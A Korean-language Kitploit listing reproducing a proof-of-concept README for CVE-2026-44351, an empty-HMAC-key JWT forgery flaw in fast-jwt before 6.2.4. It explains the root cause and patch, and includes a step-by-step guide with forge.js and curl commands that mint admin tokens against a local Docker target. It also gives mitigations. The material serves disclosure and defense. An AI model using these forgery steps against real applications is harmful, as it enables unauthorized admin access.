Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44351-poc — CVE-2026-44351에 대한 개념 증명(Proof-of-concept)으로, fast-jwt <6.2.4에서 빈 HMAC 키를 통해 공격자가 유효한 것으로 인정되는 임의의 JWT를 위조할 수 있게 하는 인증 우회 취약점입니다. | Kitploit
도구/GitHubGitHub/isaca0315/cve-2026-44351-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCryptographyAuthenticationLearning & EducationRed TeamingAPI Security
GitHubisaca0315/cve-2026-44351-poc

CVE-2026-44351-poc

CVE-2026-44351에 대한 개념 증명(Proof-of-concept)으로, fast-jwt <6.2.4에서 빈 HMAC 키를 통해 공격자가 유효한 것으로 인정되는 임의의 JWT를 위조할 수 있게 하는 인증 우회 취약점입니다.

1일 전아직 검토되지 않음
저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44351 — 빈 Secret을 통한 fast-jwt JWT 위조

fast-jwt(6.2.4 이전 버전)의 인증 우회(auth bypass) PoC로, 인증되지 않은 공격자가 임의의 JWT를 위조하여 대상 애플리케이션에서 정품으로 허용되도록 할 수 있습니다.

CVECVE-2026-44351
AdvisoryGHSA-gmvf-9v4p-v8jc
CWECWE-1391 (키 유효성 검증 오류) / CWE-287 (부적절한 인증) / CWE-326 (부적절한 암호화 강도)
CVSS 3.19.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
취약 버전fast-jwt < 6.2.4 (6.2.3에서 검증됨)
패치[email protected] — FAST_JWT_INVALID_KEY로 빈 HMAC 키를 거부

📄 상세 기술 문서 (실제 코드 기반 근본 원인, 공격 구조, 패치 분석): docs/CVE-2026-44351.md

개요

fast-jwt는 키 해석(key)으로 비동기 함수를 전달하는 것을 허용합니다 — 이는 JWKS 서버와 통합할 때의 전형적인 패턴입니다:

root@kitploit:~
const verify = createVerifier({
  // 라이브러리 자체에서 문서화한 표준 JWKS 패턴
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

들어오는 토큰의 kid가 존재하지 않을 때, 이 패턴은 ''를 반환합니다. fast-jwt는 빈 문자열을 길이가 0인 Buffer(Buffer.alloc(0))로 변환하여 crypto.createSecretKey에 전달하고(Node는 이를 조용히 수용함), 빈 키를 사용한 HMAC으로 토큰 서명을 검증합니다.

HMAC-SHA256(key='', input='<header>.<payload>')는 누구나 계산할 수 있으므로, 공격자는 실제 비밀 값을 알 필요가 없습니다: 원하는 클레임(sub, admin, roles, scopes, iss, aud, …)으로 토큰을 위조하면 검증기가 이를 정품으로 반환합니다.

비동기 키 해석 경로(함수)에만 영향을 미칩니다. 동기 설정 key: ''는 createVerifier가 falsy 값에서 단락 처리하므로 올바르게 거부됩니다.

결함의 기술적 세부 사항

결함은 src/verifier.js에 있습니다. async key resolver 흐름에서:

root@kitploit:~
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // !publicKeyPemMatch && !X509 분기  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // HMAC 계열이 할당됨
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (길이 검사 없음)
  verifyToken(currentKey, decoded, validationContext)
})

그리고 서명은 src/crypto.js로 검증됩니다:

root@kitploit:~
if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', Buffer.alloc(0))는 작동하며, 입력의 HMAC은 공격자가 계산할 수 있고 위조된 토큰은 허용됩니다.

공격 매트릭스 ([email protected]에서 검증됨)

Resolver 형태algorithmsHS256HS384HS512
async () => ''(기본값)✅ 허용✅ 허용✅ 허용
(d, cb) => cb(null, '')(기본값)✅ 허용✅ 허용✅ 허용
async d => keys[d.header.kid] || ''(기본값)✅ 허용✅ 허용✅ 허용
async () => ''['HS256','HS384','HS512']✅ 허용✅ 허용✅ 허용
async () => ''['HS256','RS256']✅ 허용INVALID_ALGINVALID_ALG
async () => ''['RS256']INVALID_KEYINVALID_KEYINVALID_KEY

⚔️ Red Team 단계별 가이드 (100% 수동 익스플로잇)

공격은 수동으로 실행됩니다: 유일한 산출물은 빈 키로 서명된 JWT를 생성하는 forge.js입니다. 전송과 검증은 curl로 수행됩니다.

0단계 — 대상 인프라 실행 (Docker)

root@kitploit:~
docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target 준비 완료

Docker는 취약한 target을 실행하기 위한 것일 뿐, 익스플로잇용이 아닙니다. 나머지 공격은 수동입니다.

1단계 — 정찰

앱의 실제 JWT를 식별하고(예: 인증된 요청에서), 서명을 검증하지 않고 header/payload를 검사합니다:

root@kitploit:~
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

검증할 사항:

  • header가 kid를 노출함 → 앱이 kid로 키를 해석함 (JWKS 가능성).
  • 보호된 엔드포인트가 잘못된 kid를 401로 거부하지만 invalid algo/invalid key를 표시하지 않으면, resolver가 keys[kid] || ''를 수행할 가능성이 높음.

2단계 — JWT 위조 (빈 secret)

root@kitploit:~
node forge.js                          # 화면에 토큰 + 준비된 curl 명령
node forge.js -o /tmp/jwt.txt          # 토큰을 파일에 저장
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

스크립트는 항상 선택한 {alg, typ, kid} 헤더와 payload를 빈 키(secret: "")를 사용한 HMAC-SHA*로 서명하며, 앱의 실제 비밀 값을 알 필요가 없습니다.

3단계 — 토큰 수동 전송

복사한 토큰(또는 파일에서 읽은 토큰)으로:

root@kitploit:~
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

대상이 취약한 경우 예상 응답:

root@kitploit:~
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

4단계 — 검증 / 대조

경우명령결과
토큰 없음curl -si http://localhost:3000/admin401 Unauthorized
잘못된 토큰curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C"401 Unauthorized
위조된 토큰curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"200 OK + admin 접근

클레임을 변경하고 2–3단계를 반복하면 우회가 재현됩니다 (후속 익스플로잇: role, scopes, 다른 sub 등으로 권한 상승).


검증 데모 (선택 사항)

취약 버전과 패치 버전의 빠른 비교:

root@kitploit:~
npm run demo        # [email protected] -> 위조된 토큰 허용됨
npm run fixed       # [email protected] -> 위조된 토큰 거부됨 (FAST_JWT_INVALID_KEY)

Docker에서도:

root@kitploit:~
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

완화 조치

  • [email protected] 이상으로 업데이트: prepareKeyOrSecret이 길이가 0인 HMAC 키를 FAST_JWT_INVALID_KEY로 거부합니다.
  • 비동기 resolver에서 fallback으로 ''/Buffer.alloc(0)을 반환하지 마세요: undefined/null을 반환하고 해당 경우를 키 해석 오류로 처리하세요.
  • 이미 침해된 배포에서는 프로세스를 재시작하거나 전환 기간 동안 cache: false를 사용하세요: 검증 캐시(기본 1000개 항목 / 600초 TTL)가 이전에 허용된 위조된 토큰을 보존할 수 있습니다.
  • 심층 방어: RFC 2104 권장 사항 적용 (HMAC 키 길이 ≥ 해시 출력 크기).

프론트엔드 (실제 앱 모드)

서버는 또한 관리 콘솔(public/)을 노출하여 실제 앱에서 익스플로잇을 볼 수 있게 합니다: 기업 로그인, 클레임이 있는 대시보드, admin 접근 패널, 통합 Red Team 뷰.

root@kitploit:~
node server.js            # 또는 다시: docker compose up -d --build server
open http://localhost:3000

데모 계정:

EmailPassword역할
[email protected]admin123admin: true (superadmin)
[email protected]user123admin: false (member)

앱은 정상적인 SaaS를 재현합니다:

  • POST /login은 createSigner를 통해 실제 비밀 값(kid: legit-kid)으로 서명된 JWT를 발급합니다 — signer는 취약하지 않습니다.
  • 프론트엔드는 토큰을 localStorage에 저장하고 취약한 verifier를 사용하는 GET /admin을 호출합니다.
  • Red Team 뷰: 로컬에서 서명하는 "위조 토큰 생성" 버튼 (순수 JS의 HMAC-SHA256, 키 '', RFC 2104 — WebCrypto는 길이가 0인 키를 허용하지 않음) 또는 node forge.js의 토큰을 붙여넣고 /admin을 테스트. admin: true이면 200 OK 응답 → 브라우저를 벗어나지 않고 우회 확인.

프론트엔드는 단지 프레젠테이션일 뿐입니다: 취약점은 동일하며(keys[kid] || ''를 사용하는 async key resolver), README의 forge.js + curl 수동 공격 흐름은 계속 작동합니다.

프로젝트 구조

root@kitploit:~
.
├── Dockerfile            fast-jwt 6.2.3 및 6.2.4 (fixed/) 이미지
├── docker-compose.yml    server / demo / fixed-demo 서비스 (exploit 없음)
├── .dockerignore         빌드 컨텍스트에서 node_modules 제외
├── package.json          의존성: [email protected] (취약)
├── server.js             취약한 API (fallback || ''를 사용하는 async key resolver) + /admin + /login + 정적 파일
├── forge.js              유일한 스크립트: 빈 secret으로 JWT 생성 / 토큰 검사
├── demo.js               [email protected] (취약)에 대한 라이브러리 수준 데모
├── public/               "실제 앱" 프론트엔드 (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + 클라이언트 측 위조 (순수 JS의 key ''를 사용한 HMAC-SHA256)
├── docs/
│   └── CVE-2026-44351.md 기술 문서: 개요, 근본 원인, 패치
└── fixed/
    ├── package.json      의존성: [email protected] (패치됨)
    └── demo.js           [email protected] (패치됨)에 대한 동일한 데모

경고

이 자료는 교육 및 보안 연구 목적으로만 제공됩니다. 자체 애플리케이션이나 소유자의 서면 승인이 있는 경우에만 exploit을 사용하세요. 제3자 시스템에 대한 이 기술의 무단 사용은 불법이며, 사용에 대한 책임은 사용자 본인에게 있습니다.

도구 다운로드